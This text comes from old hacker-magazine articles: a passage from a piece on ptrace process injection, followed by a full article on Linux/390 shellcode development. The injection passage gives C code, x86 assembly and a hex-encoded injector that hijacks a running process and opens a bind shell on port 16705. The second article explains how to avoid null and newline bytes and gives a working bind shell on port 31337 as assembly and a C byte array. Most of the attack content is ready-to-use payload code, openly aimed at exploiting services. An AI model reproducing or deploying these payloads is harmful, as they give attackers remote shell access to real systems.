"\x6f\x2c\x57\x6f\x72\x6c\x64\x20\x21" ;
/* Prints hello. What a deal ! */

char *shellcode;
int child(){
        while(1){
                write(2,".",1);
                sleep(1);
                }
        return 0;
        }
int father (pid_t pid){
        int error;
        int i=0;
        int ptr;
        int begin;
        struct user_regs_struct data;
        if (error=ptrace(PTRACE_ATTACH,pid,NULL,NULL))
                perror("attach");
        waitpid(pid,NULL,0);
        if(error=ptrace(PTRACE_GETREGS,pid,&data,&data))
                perror("getregs");
        printf("%%eip : 0x%.8lx\n",data.eip);
        printf("%%esp : 0x%.8lx\n",data.esp);
        data.esp -= 4;
        ptrace(PTRACE_POKETEXT,pid,data.esp,data.eip);

        ptr=begin=data.esp-1024;
        printf("Inserting shellcode into %.8lx\n",begin);
        data.eip=(long)begin+2;
        ptrace(PTRACE_SETREGS,pid,&data,&data);
        while(i<strlen(shellcode)){
                ptrace(PTRACE_POKETEXT,pid,ptr,(int)* (int *)
(shellcode+i));
                i+=4;
                ptr+=4;
                }
        ptrace (PTRACE_DETACH,pid,NULL,NULL);
        return 0;
}
int main(int argc,char **argv){
        pid_t pid=0;
        if(argc>1)
                pid=atoi(argv[1]);
        shellcode=malloc( strlen((char*) injected_shellcode) +
                strlen(hello_shellcode) + 4);
        strcpy(shellcode,(char *) injected_shellcode);
        strcat(shellcode,(char *) hello_shellcode);
        printf("p2 : trying to launch shellcode on forked process\n");
        if(pid==0)
        pid=fork();
        if (pid){
                printf("I'm the father\n");
                sleep(2);
                father(pid);
                sleep(2);
                kill(pid,9);
                wait(NULL);
        }else{
                printf("I'm the child\n");
                child();
        }
        return 0;
}
```

Compile all that with gcc -o p2 p2.c s1.S
and admire my cut & paste skillz

```
local@darkside:~/dev/ptrace$ ./p2
p2 : trying to launch shellcode on forked process
I'm the father
I'm the child
...%eip : 0x400c0a11
%esp : 0xbffff470
Inserting shellcode into bffff06c
.Hello,World !.
```

It really happened. the .... process forked and then printed "Hello, world!".

5 - First try to shellcodize it

Before doing it, we have to remember our rules. I'll program it without really optimizing it in size (I let bighawk or pr1 do that) but designing with pre-compiler conditional assemble.
gcc -DLONG for a very careful shellcode (checks etc...)
gcc -DSHORT for a very tiny shellcode (which does the minimum but unsafe).

So, if size really matters, we can exit(0) simply by jumping anywhere, or if size does not matter at all, we can make draconian tests.
I will use at&t syntax, compilable with gcc.
If you don't like it, a good (and big) awk script may do the trick.

5.1 When you need some body to trace

A basic approach is first to set the stack pointer to a high value.
We can't be certain that the stack pointer is not less than current eip
(in the case of a stack based overflow).
The easier (and laziest) way to do this is to set esp to 0xbffffe04.
This esp value works on nearly all linux/x86 boxes I've seen, and is near
the stack bottom, but not too much, and doesn't contain a zero.
Then, we get the ppid process with the getppid() syscall. Next, first try
to attach it.
If the attach fails, 99% chances are that the ppid is init.
In this case, we increment the pid until we can attach something.
(Warning, debugging this part of code is not easy at all. When you trace
a process, you become its ppid. In this case, the shellcode will attach
your debugger and a mutual deadlock will appear. Who told "A cool/good
anti-debugger technique ?")
So I included a test for the DEBUG_PID preprocessor variable.
Put there whatever pid you want to inject something in.

Note that the pid is put on the stack, at the 12(%ebp) place. That's
useful because we will need it in nearly all system calls.

5.2 Waiting (for love ?)

Now, little shellcode has to wait for its child. There are two ways of
doing this :
- waitpid(pid,NULL,NULL);
- big big loop;

As I didn't success to make a reasonably short (in time) loop smaller in
size than the syscall, the code contains only the system call.

5.3 Registers where are you ?

The target process is ready to be modified, but the first thing to do with
it is to extract the registers.
The ebp register is saved into esi, and then esi is incremented by 16.
It will be the "data" argument of the ptrace call.
So, after the syscall, target registers are beginning at 16(%ebp).
Interesting registers are :
esp : 76(%ebp)
eip : 64(%ebp)

The register tricks I have described before are in the shellcode source,
but are not so complicated, including the "push"-like instruction to push
the old eip address.

5.4 Upload in progress

"Uploading" the shellcode, or injecting it in the target process, is just
a little loop. The shellcode itself is not really clear because the loop
counter used is esp.
We set esp with the value specified in macro SHELLCODELEN. In edi, we set
the memory address of the injected shellcode in the current process. Edx
contains the target address, previously decremented of two conforming to
our first note about this.

As after the interrupt call, eax must be zero, we can safely use it to test
if esp reached the final state.

5.5 You'll be a man, my son.

We can safely detach the process now. If we forget to detach (laziness or
simply spaceless) the process will remain in interrupted state, which
needs a SIGCONT to launch our bindshell.
After this hard work, shellcode can exit, simply by the exit() syscall
which usually doesn't alarm inetd or such and doesn't create any alarming
note in syslog. (for the cute version, "ret" may be enough to segfault and

so close the process.)

The bindshell I included binds port 0x4141. Remember that two fast
executions of the shellcode may block the port 0x4141 for minutes.
That was quite annoying while coding this.

The shellcode hasn't been optimized in size yet.
You can compile the attached code with
gcc -DLONG -c -o injector.o injector.S
and linking it with your favourite exploit. Code is 100% null-chars free.
I didn't look for newlines, carriage returns, spaces, percents, 0xff,
etc...

---[6 - References and greetings

Man page of ptrace() is cool, lucid, informative, and so on.

Intel documentation book 2 : the instructions was an useful book
full of 1-byte-instructions-which-does-everything.

Special greets to the other guys from minithins.net, UNF people, my tender
girlfriend and to at&t who made their own cool asm syntax.
Special thanks too to the channels #fr,#ircs,#!w00nf,#segfault,#unf for
their special support, and especially to double-p ,fozzy and OUAH who corrected
my lame english and gave me some advices.

```
<injector.s>
/* INJECTOR.S VERSION 1.0 */
/* Injects a shellcode in a process using ptrace system call */
/* Tested on : linux 2.4.18 */
/* NOT SIZE-OPTIMIZED YET */


#define SHELLCODELEN 30
        /* That is, size of (the injected shellcode + bindshell)/4 */
#ifndef SHORT
        #define LONG
#endif

#ifdef LONG
        #undef SHORT
#endif
.text
.globl shellcode
.type    shellcode,@function

shellcode:
/* injector begins here */

mov $0xbffffe04,%esp

/* first thing, we have to find our ppid */
xor %eax,%eax
mov $64,%al     /* sys_getppid  */
int $0x80
#ifdef DEBUG_PID
        mov $DEBUG_PID,%ax
#endif
        /* put it on the stack */
mov %esp,%ebp   /* save the stack in stack pointer */
mov %eax,12(%ebp)       /* save the pid there */
/* now we have to do a ptrace */
redo:
xor %eax,%eax
mov $26,%al     /* sys_ptrace */
mov 12(%ebp),%ecx
mov %eax,%ebx
mov $0x10,%bl   /* PTRACE_ATTACH */
int $0x80       /* do ptrace(PTRACE_ATTACH,getppid(),NULL,NULL); */
xor %ebx,%ebx
cmp %eax,%ebx
je good /* we are not leet enough, or ppid is init      */
inc %ecx
mov %ecx,12(%ebp)
jmp redo

good:
/* now we have to do a waitpid(pid,NULL,NULL)   */
mov %eax,%edx /* NULL */
mov %ecx,%ebx /* pid */
mov %edx,%ecx /* NULL */
mov $7,%al /* SYS_waitpid */
int $0x80

getregs:
/* now get its registers */
xor %eax,%eax /* Should waitpid return 0 ? never ;) */
xor %ebx,%ebx
mov %ebp,%esi
add $16,%esi    /* 16 up of the stack pointer */
mov $12,%bl     /* %ebx is zero, PTRACE_GETREGS */
mov 12(%ebp),%ecx /* pid */
mov $26,%al     /* %eax is zero. */

/* %edx doesn't contain anything since PTRACE_GETREGS doesn't use addr */
int $0x80

/* so now we have registers in 16(%ebp) */
/* two interresting : %eip and %esp     */
/* %eip : (16+48)(%ebp)                 */
/* %esp : (16+60)(%ebp)                 */
/* rq : 12(%ebx) contains ppid          */
/* 8(%ebx) will contain the eip         */

custom_push:
sub $4,76(%ebp)         /* dec the esp */
mov 76(%ebp),%edi       /* put it in our temp eip */
sub $1036,%di
mov %edi,8(%ebp) /* that's the address where we */
                /* shall start to install our code */
/* we need to push the eip at top of the stack */

mov $26,%al
mov $4,%bl      /* PTRACE_POKETEXT*/
mov 12(%ebp),%ecx /*ppid */
mov 76(%ebp),%edx /* esp we have decremented */
mov 64(%ebp),%esi /* old eip */
int $0x80 /* what a work for push %eip */
mov  %edi ,64(%ebp) /* eip = our code nah, %edi == 8(%ebp) */
/* now put our cool registers set */

setregs:
xor %eax,%eax
xor %ebx,%ebx
mov $26,%al
mov $13,%bl     /* PTRACE_SETREGS*/
/* ppid always set so %ecx */
/* %edx ignored */
mov %ebp,%esi
add $16,%esi
int $0x80
/* registers have been updated. now inject the shellcode */
/* %edi : location in memory where we put the shellcode */

jmp start
```

```
goback: /* push on the stack the address of the shellcode to inject */

mov %edi,%edx   /* addr */
dec %edx
dec %edx
/* returning from syscall, eip goes 2 before current eip */
/* with this trick, it goes on 2 nops */
pop %edi        /* data */
xor %eax,%eax
mov $SHELLCODELEN,%al
mov %eax,%esp
mov $4,%bl

loop:
mov $26,%al
mov 12(%ebp),%ecx
mov (%edi),%esi
int $0x80
dec %esp
add $4,%edx  /* target shellcode */
add $4,%edi  /* local shellcode, source */
cmp %esp,%eax  /* Len > 0 ? */
jne loop

detach:
mov $26,%al
xor %ebx,%ebx
mov $0x11,%bl   /* PTRACE_DETACH */
mov 12(%ebp),%ecx       /* pid */
//xor %edx,%edx
//xor %esi,%esi
int $0x80
/* Now we can exit */

failed:
#ifdef LONG
xor %eax,%eax           /* exit silently */
mov %eax,%ebx
mov $1,%al      /* sys_exit */
int $0x80       /* die in peace, poor child */
#endif
#ifndef LONG
ret
#endif

start:
call goback

/* all that part has to be done into the injected process */
/* in other word, this is the injected shellcode          */

// ret location has been pushed previously
nop
nop
pusha           // save before anything by saving registers
xor %eax,%eax
mov $0x02,%al  //sys_fork
int $0x80       //fork()
xor %ebx,%ebx
cmp %eax,%ebx   // father or son ?
je  son         // I’m son
//here, I’m the father, I’ve to restore my previous state
father:
popa
ret
/* code finished for the father */
son: /* standard shellcode, at your choice */
```

```
/* Bind shellcode */
lnx_bind:
xor %eax,%eax
cdq /* %edx= 0 */
push %edx /* IPPROTO_TCP */
inc %edx                /* SOCK_STREAM */
mov %edx,%ebx /* socket() */
push %edx
inc %edx                /* AF_INET */
push %edx
mov %esp,%ecx

mov $102,%al
int $0x80

mov %eax,%edi /* Save the socket in %edi */

cdq /* %edx= sign of %eax = 0 */
inc %ebx /* bind */ /* was 1, become 2 */
push %edx /* 0.0.0.0 addr */
/*change \/ here */
push $0x4141ff02 /* here, change the 0x4141 for the port */
/*       /\       */


mov %esp,%esi /* save the address of sockaddr in %esi */
push $16    /* Size of this shit */ //$16
push %esi /* struct sockaddr * */
push %edi /* socket number */
mov %esp,%ecx
        /* bind() */
mov $102,%al
int $0x80

/* Erf, I use the previous data on the stack, they are even good enough */
inc %ebx /*3...*/
inc %ebx /*4 */
mov $102,%al
int $0x80 /* Listen(fd,somehug) (somehuge always > 0 so it's good) */

push %esp       /* Len */
push %esi       /* sockaddr* */
push %edi       /* socket */
inc %ebx        /* 5 */
mov %esp,%ecx
mov $102,%al
int $0x80 /* accept */

xchg %eax,%ebx /* Save our precious file descriptor */
pop %ecx /* take the value of %edi, that's usualy %ebx-1 */
duploop:
mov $63,%al /* dup2 */
int $0x80
dec %ecx
cmp %ecx,%edx
jle duploop

//jnl loop /* For each file descriptor before %ebx, dup2() it */


/* Std lnx_bin_sh_1 shellcode */
push %edx
push $0x68732f6e
push  $0x69622f2f
mov %esp,%ebx
push %edx
push %ebx
mov %esp,%ecx
mov $11, %al
int $0x80

.string ""

</injector.s>

<injector.h>
 // compiled with -DLONG
 // binds to port 16705
char injector_lnx[]=
"\xbc\x04\xfe\xff\xbf\x31\xc0\xb0\x40\xcd"
"\x80\x89\xe5\x89\x45\x0c\x31\xc0\xb0\x1a"
"\x8b\x4d\x0c\x89\xc3\xb3\x10\xcd\x80\x31"
"\xdb\x39\xc3\x74\x06\x41\x89\x4d\x0c\xeb"
"\xe7\x89\xc2\x89\xcb\x89\xd1\xb0\x07\xcd"
"\x80\x31\xc0\x31\xdb\x89\xee\x83\xc6\x10"
"\xb3\x0c\x8b\x4d\x0c\xb0\x1a\xcd\x80\x83"
"\x6d\x4c\x04\x8b\x7d\x4c\x66\x81\xef\x0c"
"\x04\x89\x7d\x08\xb0\x1a\xb3\x04\x8b\x4d"
"\x0c\x8b\x55\x4c\x8b\x75\x40\xcd\x80\x89"
"\x7d\x40\x31\xc0\x31\xdb\xb0\x1a\xb3\x0d"
"\x89\xee\x83\xc6\x10\xcd\x80\xeb\x34\x89"
"\xfa\x4a\x4a\x5f\x31\xc0\xb0\x1e\x89\xc4"
"\xb3\x04\xb0\x1a\x8b\x4d\x0c\x8b\x37\xcd"
"\x80\x4c\x83\xc2\x04\x83\xc7\x04\x39\xe0"
"\x75\xec\xb0\x1a\x31\xdb\xb3\x11\x8b\x4d"
"\x0c\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd"
"\x80\xe8\xc7\xff\xff\xff\x90\x90\x60\x31"
"\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xc3\x74"
"\x02\x61\xc3\x31\xc0\x99\x52\x42\x89\xd3"
"\x52\x42\x52\x89\xe1\xb0\x66\xcd\x80\x89"
"\xc7\x99\x43\x52\x68\x02\xff\x41\x41\x89"
"\xe6\x6a\x10\x56\x57\x89\xe1\xb0\x66\xcd"
"\x80\x43\x43\xb0\x66\xcd\x80\x54\x56\x57"
"\x43\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0"
"\x3f\xcd\x80\x49\x39\xca\x7e\xf7\x52\x68"
"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" ;
 /*size :279 */
</injector.h>
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12

```
|=----------------=[ Linux/390 shellcode development ]=------------------=|
|=-----------------------------------------------------------------------=|
|=--------=[ johnny cyberpunk <jcyberpunk@thehackerschoice.com> ]=--------=|
```

--[Contents

--[1 - Introduction

Since Linux/390 has been released by IBM more and more b0xes of this type can be found in the wild. A good reason for a hacker to get a closer look on how vulnerable services can be exploited on a mainframe. Remember, who are the owners of mainframes ? Yeah, big computer centres, insurances or goverments. Well, in this article I'll uncover how to write the bad code (aka shellcode). The bind-shellcode at the end should be taken as an example. Other shellcode and exploit against some known vulnerabilities can be found on a seperate link (see References) in the next few weeks.

Suggestions, improvements or flames can be send directly to the email address posted in the header of this article. My gpg-key can be found at the document bottom.

--[2 - History and facts

In late 1998 a small team of IBM developers from Boeblingen/Germany started to port Linux to mainframes. One year later in December 1999 the first version has been published for the IBM s/390. There are two versions available:

A 32 bit version, referred to as Linux on s/390 and a 64 bit version, referred to as Linux on zSeries. Supported distros are Suse, Redhat and TurboLinux. Linux for s/390 is based on the kernel 2.2, the zSeries is based on kernel 2.4. There are different ways to run Linux:

```
Native        - Linux runs on the entire machine, with no other OS
LPAR          - Logical PARtition): The hardware can be logically
                partitioned, for example, one LPAR hosts a VM/VSE
                environment and another LPAR hosts Linux.
VM/ESA Guest - means that a customer can also run Linux in a virtual
                machine
```

The binaries are in ELF format (big endianess).

----[2.1 - Registers

For our shellcode development we really don't need the whole bunch of registers the s/390 or zSeries has. The most interesting for us are the registers %r0-%r15. Anyway I'll list some others here for to get an overview.

General propose registers :
%r0-%r15 or gpr0-gpr15 are used for addressing and arithmetic

Control registers :
cr0-cr15 are only used by kernel for irq control, memory management, debugging control ...

Access registers :
ar0-ar15 are normally not used by programs, but good for temporary storage

Floating point registers :
fp0-fp15 are IEEE and HFP floating (Linux only uses IEEE)

PSW (Programm Status Word) :
is the most important register and serves the roles of a program counter, memory space designator and condition code register. For those who wanna know more about this register, should take a closer look on the references at the bottom.

----[2.2 - Instruction set

Next I'll show you some useful instructions we will need, while developing our shellcode.

Instruction		Example	
basr	(branch and save)	%r1,0	# save value 0 to %r1
lhi	(load h/word immediate)	lhi %r4,2	# load value 2 into %r4
la	(load address)	la %r3,120(%r15)	# load address from # %r15+120 into %r3
lr	(load register)	lr %r4,%r9	# load value from %r9 # into %r4
stc	(store character)	stc %r6,120(%r15)	# store 1 character from # %r6 to %r15+120
sth	(store halfword)	sth %r3,122(%r15)	# store 2 bytes from # %r3 to %r15+122
ar	(add)	ar %r6,%r10	# add value in %r10 ->%r6
xr	(exclusive or)	xr %r2,%r2	# 0x00 trick :)
svc	(service call)	svc 1	# exit

----[2.3 - Syscalls

On Linux for s/390 or zSeries syscalls are done by using the instruction SVC with it's opcode 0x0a ! This is no good message for shellcoders, coz 0x0a is a special character in a lot of services. But before i start explaining how we can avoid using this call let's have a look on how our OS is using the syscalls.

The first four parameters of a syscall are delivered to the registers %r2-%r5 and the resultcode can be found in %r2 after the SVC call.

Example of an execve call:

```
        basr      %r1,0
base:
        la        %r2,exec-base(%r1)
        la        %r3,arg-base(%r1)
        la        %r4,tonull-base(%r1)
        svc     11

exec:
        .string  "/bin//sh"
arg:
        .long   exec
tonull:
        .long   0x0
```

A special case is the SVC call 102 (SYS_SOCKET). First we have to feed the register %r2 with the desired function (socket, bind, listen, accept, ...) and %r3 points to a list of parameters this function needs. Every parameter in this list has its own u_long value.

And again an example of a socket() call :

```
        lhi        %r2,2                  # domain
        lhi        %r3,1                  # type
        xr         %r4,%r4                # protocol
        stm        %r2,%r4,128(%r15)      # store %r2 - %r4
        lhi        %r2,1                  # function socket()
        la         %r3,128(%r15)          # pointer to the API values
        svc        102                    # SOCKETCALL
        lr         %r7,%r2                # save filedescriptor to %r7
```

----[2.4 - The native code

So now, here is a sample of a complete portbindshell in native style :

```
        .globl _start

_start:
        basr       %r1,0                       # our base-address
base:

        lhi        %r2,2                       # AF_INET
        sth        %r2,120(%r15)
        lhi        %r3,31337                   # port
        sth        %r3,122(%r15)
        xr         %r4,%r4                     # INADDR_ANY
        st         %r4,124(%r15)               # 120-127 is struct sockaddr *
        lhi        %r3,1                       # SOCK_STREAM
        stm        %r2,%r4,128(%r15)           # store %r2-%r4, our API values
        lhi        %r2,1                       # SOCKET_socket
        la         %r3,128(%r15)               # pointer to the API values
        svc        102                         # SOCKETCALL
        lr         %r7,%r2                     # save socket fd to %r7
        la         %r3,120(%r15)               # pointer to struct sockaddr *
        lhi        %r9,16                      # save value 16 to %r9
        lr         %r4,%r9                     # sizeof address
        stm        %r2,%r4,128(%r15)           # store %r2-%r4, our API values
        lhi        %r2,2                       # SOCKET_bind
        la         %r3,128(%r15)               # pointer to the API values
        svc        102                         # SOCKETCALL
        lr         %r2,%r7                     # get saved socket fd
        lhi        %r3,1                       # MAXNUMBER
        stm        %r2,%r3,128(%r15)           # store %r2-%r3, our API values
        lhi        %r2,4                       # SOCKET_listen
        la         %r3,128(%r15)               # pointer to the API values
        svc        102                         # SOCKETCALL
        lr         %r2,%r7                     # get saved socket fd
        la          %r3,120(%r15)           # pointer to struct sockaddr *
        stm         %r2,%r3,128(%r15)       # store %r2-%r3,our API values
        st          %r9,136(%r15)           # %r9 = 16, this case: fromlen
        lhi         %r2,5                   # SOCKET_accept
        la          %r3,128(%r15)           # pointer to the API values
        svc         102                     # SOCKETCALL
        xr          %r3,%r3                 # the following shit
        svc         63                      # duplicates stdin, stdout
        ahi         %r3,1                   # stderr
        svc         63                      # DUP2
        ahi         %r3,1
        svc         63
        la          %r2,exec-base(%r1)      # point to /bin/sh
        la          %r3,arg-base(%r1)       # points to address of /bin/sh
        la          %r4,tonull-base(%r1)    # point to envp value
        svc         11                      # execve
        slr         %r2,%r2
        svc         1                       # exit

exec:
        .string  "/bin//sh"
arg:
        .long   exec
tonull:
        .long   0x0
```

----[2.5 - Avoiding 0x00 and 0x0a

To get a clean working shellcode we have two things to bypass. First avoiding 0x00 and second avoiding 0x0a.

Here is our first case :

```
a7 28 00 02             lhi     %r2,02
```

And here is my solution :

```
a7 a8 fb b4             lhi     %r10,-1100
a7 28 04 4e             lhi     %r2,1102
1a 2a                   ar      %r2,%r10
```

I statically define a value -1100 in %r10 to use it multiple times. After that i load my wanted value plus 1100 and in the next instruction the subtraction of 1102-1100 gives me the real value. Quite easy.

To get around the next problem we have to use selfmodifing code:

```
svc:
        .long 0x0b6607fe          <---- will be svc 66, br %r14 after
                                        code modification
```

Look at the first byte, it has the value 0x0b at the moment. The following code changes this value to 0x0a:

```
basr      %r1,0                   # our base-address
la        %r9,svc-base(%r1)       # load address of svc subroutine
lhi       %r6,1110                # selfmodifing
lhi       %r10,-1100              # code is used
ar        %r6,%r10                # 1110 - 1100 = \x0a opcode SVC
stc       %r6,svc-base(%r1)       # store svc opcode
```

Finally the modified code looks as follows :

```
0a 66                svc 66
07 fe                br %r14
```

To branch to this subroutine we use the following command :

```
basr                 %r14,%r9     # branch to subroutine SVC 102
```

The Register %r9 has the address of the subroutine and %r14 contains the address where to jump back.

----[2.6 - The final code

Finally we made it, our shellcode is ready for a first test:

```
        .globl _start

_start:
        basr      %r1,0                   # our base-address
base:
        la        %r9,svc-base(%r1)       # load address of svc subroutine
        lhi       %r6,1110                # selfmodifing
        lhi       %r10,-1100              # code is used
        ar        %r6,%r10                # 1110 - 1100 = \x0a opcode SVC
        stc       %r6,svc-base(%r1)       # store svc opcode
        lhi       %r2,1102                # portbind code always uses
        ar        %r2,%r10                # real value-1100 (here AF_INET)
        sth       %r2,120(%r15)
        lhi       %r3,31337               # port
        sth       %r3,122(%r15)
        xr        %r4,%r4                 # INADDR_ANY
        st        %r4,124(%r15)           # 120-127 is struct sockaddr *
        lhi       %r3,1101                # SOCK_STREAM
        ar        %r3,%r10
        stm       %r2,%r4,128(%r15)       # store %r2-%r4, our API values
        lhi       %r2,1101                # SOCKET_socket
        ar        %r2,%r10
        la        %r3,128(%r15)           # pointer to the API values
        basr      %r14,%r9                # branch to subroutine SVC 102
        lr        %r7,%r2                 # save socket fd to %r7
        la        %r3,120(%r15)           # pointer to struct sockaddr *
        lhi       %r8,1116
        ar        %r8,%r10                # value 16 is stored in %r8
        lr        %r4,%r8                 # size of address
        stm       %r2,%r4,128(%r15)       # store %r2-%r4, our API values
        lhi       %r2,1102                # SOCKET_bind
        ar        %r2,%r10
        la        %r3,128(%r15)           # pointer to the API values
        basr      %r14,%r9                # branch to subroutine SVC 102
        lr        %r2,%r7                 # get saved socket fd
        lhi       %r3,1101                # MAXNUMBER
        ar        %r3,%r10
        stm       %r2,%r3,128(%r15)       # store %r2-%r3, our API values
        lhi       %r2,1104                # SOCKET_listen
        ar        %r2,%r10
        la        %r3,128(%r15)           # pointer to the API values
        basr      %r14,%r9                # branch to subroutine SVC 102
        lr        %r2,%r7                 # get saved socket fd
        la        %r3,120(%r15)           # pointer to struct sockaddr *
        stm       %r2,%r3,128(%r15)       # store %r2-%r3, our API values
        st        %r8,136(%r15)           # %r8 = 16, in this case fromlen
        lhi       %r2,1105                # SOCKET_accept
        ar        %r2,%r10
        la        %r3,128(%r15)           # pointer to the API values
        basr      %r14,%r9                # branch to subroutine SVC 102
        lhi       %r6,1163                # initiate SVC 63 = DUP2
        ar        %r6,%r10
        stc       %r6,svc+1-base(%r1)        # modify subroutine to SVC 63
        lhi       %r3,1102                # the following shit
        ar        %r3,%r10                # duplicates
        basr      %r14,%r9                # stdin, stdout
        ahi       %r3,-1                        # stderr
        basr      %r14,%r9                # SVC 63 = DUP2
        ahi       %r3,-1
        basr      %r14,%r9
        lhi       %r6,1111                # initiate SVC 11 = execve
        ar        %r6,%r10
        stc       %r6,svc+1-base(%r1)     # modify subroutine to SVC 11
        la        %r2,exec-base(%r1)      # point to /bin/sh
        st        %r2,exec+8-base(%r1)    # save address to /bin/sh
        la        %r3,exec+8-base(%r1)    # points to address of /bin/sh
        xr        %r4,%r4                 # 0x00 is envp
        stc       %r4,exec+7-base(%r1)    # fix last byte /bin/sh\\ to 0x00
        st        %r4,exec+12-base(%r1)   # store 0x00 value for envp
        la        %r4,exec+12-base(%r1)   # point to envp value
        basr      %r14,%r9                # branch to subroutine SVC 11
svc:
        .long 0x0b6607fe                  # our subroutine SVC n + br %r14
exec:
        .string  "/bin/sh\\"
```

In a C-code environment it looks like this :

```
char shellcode[]=
"\x0d\x10"              /* basr    %r1,%r0                              */
"\x41\x90\x10\xd4"      /* la      %r9,212(%r1)                         */
"\xa7\x68\x04\x56"      /* lhi     %r6,1110                             */
"\xa7\xa8\xfb\xb4"      /* lhi     %r10,-1100                           */
"\x1a\x6a"              /* ar      %r6,%r10                             */
"\x42\x60\x10\xd4"      /* stc     %r6,212(%r1)                         */
"\xa7\x28\x04\x4e"      /* lhi     %r2,1102                             */
"\x1a\x2a"              /* ar      %r2,%r10                             */
"\x40\x20\xf0\x78"      /* sth     %r2,120(%r15)                        */
"\xa7\x38\x7a\x69"      /* lhi     %r3,31337                            */
"\x40\x30\xf0\x7a"      /* sth     %r3,122(%r15)                        */
"\x17\x44"              /* xr      %r4,%r4                              */
"\x50\x40\xf0\x7c"      /* st      %r4,124(%r15)                        */
"\xa7\x38\x04\x4d"      /* lhi     %r3,1101                             */
"\x1a\x3a"              /* ar      %r3,%r10                             */
"\x90\x24\xf0\x80"      /* stm     %r2,%r4,128(%r15)                    */
"\xa7\x28\x04\x4d"      /* lhi     %r2,1101                             */
"\x1a\x2a"              /* ar      %r2,%r10                             */
"\x41\x30\xf0\x80"      /* la      %r3,128(%r15)                        */
"\x0d\xe9"              /* basr    %r14,%r9                             */
"\x18\x72"              /* lr      %r7,%r2                              */
"\x41\x30\xf0\x78"      /* la      %r3,120(%r15)                        */
"\xa7\x88\x04\x5c"      /* lhi     %r8,1116                             */
"\x1a\x8a"              /* ar      %r8,%r10                             */
"\x18\x48"              /* lr      %r4,%r8                              */
"\x90\x24\xf0\x80"      /* stm     %r2,%r4,128(%r15)                    */
"\xa7\x28\x04\x4e"      /* lhi     %r2,1102                             */
"\x1a\x2a"              /* ar      %r2,%r10                             */
"\x41\x30\xf0\x80"      /* la      %r3,128(%r15)                        */
"\x0d\xe9"              /* basr    %r14,%r9                             */
"\x18\x27"              /* lr      %r2,%r7                              */
"\xa7\x38\x04\x4d"      /* lhi     %r3,1101                             */
"\x1a\x3a"              /* ar      %r3,%r10                             */
"\x90\x23\xf0\x80"      /* stm     %r2,%r3,128(%r15)                    */
"\xa7\x28\x04\x50"      /* lhi     %r2,1104                             */
"\x1a\x2a"              /* ar      %r2,%r10                             */
"\x41\x30\xf0\x80"      /* la      %r3,128(%r15)                        */
"\x0d\xe9"              /* basr    %r14,%r9                             */
"\x18\x27"              /* lr      %r2,%r7                              */
"\x41\x30\xf0\x78"      /* la      %r3,120(%r15)                        */
"\x90\x23\xf0\x80"      /* stm     %r2,%r3,128(%r15)                    */
```

```
"\x50\x80\xf0\x88"      /* st      %r8,136(%r15)                        */
"\xa7\x28\x04\x51"      /* lhi     %r2,1105                             */
"\x1a\x2a"              /* ar      %r2,%r10                             */
"\x41\x30\xf0\x80"      /* la      %r3,128(%r15)                        */
"\x0d\xe9"              /* basr    %r14,%r9                             */
"\xa7\x68\x04\x8b"      /* lhi     %r6,1163                             */
"\x1a\x6a"              /* ar      %r6,%r10                             */
"\x42\x60\x10\xd5"      /* stc     %r6,213(%r1)                         */
"\xa7\x38\x04\x4e"      /* lhi     %r3,1102                             */
"\x1a\x3a"              /* ar      %r3,%r10                             */
"\x0d\xe9"              /* basr    %r14,%r9                             */
"\xa7\x3a\xff\xff"      /* ahi     %r3,-1                               */
"\x0d\xe9"              /* basr    %r14,%r9                             */
"\xa7\x3a\xff\xff"      /* ahi     %r3,-1                               */
"\x0d\xe9"              /* basr    %r14,%r9                             */
"\xa7\x68\x04\x57"      /* lhi     %r6,1111                             */
"\x1a\x6a"              /* ar      %r6,%r10                             */
"\x42\x60\x10\xd5"      /* stc     %r6,213(%r1)                         */
"\x41\x20\x10\xd8"      /* la      %r2,216(%r1)                         */
"\x50\x20\x10\xe0"      /* st      %r2,224(%r1)                         */
"\x41\x30\x10\xe0"      /* la      %r3,224(%r1)                         */
"\x17\x44"              /* xr      %r4,%r4                              */
"\x42\x40\x10\xdf"      /* stc     %r4,223(%r1)                         */
"\x50\x40\x10\xe4"      /* st      %r4,228(%r1)                         */
"\x41\x40\x10\xe4"      /* la      %r4,228(%r1)                         */
"\x0d\xe9"              /* basr    %r14,%r9                             */
"\x0b\x66"              /* svc     102          <--- after modification */
"\x07\xfe"              /* br      %r14                                 */
"\x2f\x62\x69\x6e"      /* /bin                                         */
"\x2f\x73\x68\x5c";     /* /sh\                                         */

main()
{
 void (*z)()=(void*)shellcode;
 z();
}
```

--[3 - References:

[1] z/Architecture Principles of Operation (SA22-7832-00)
    http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf

[2] Linux for S/390 (SG24-4987-00)
    http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf

[3] LINUX for S/390 ELF Application Binary Interface Supplement
    http://oss.software.ibm.com/linux390/docu/l390abi0.pdf

[4] Example exploits
    http://www.thehackerschoice.com/misc/sploits/

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Weitere Infos: siehe http://www.gnupg.org

mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h
sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t
8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9
LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy
BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL
F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B
a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j
DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX
G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5
```

```
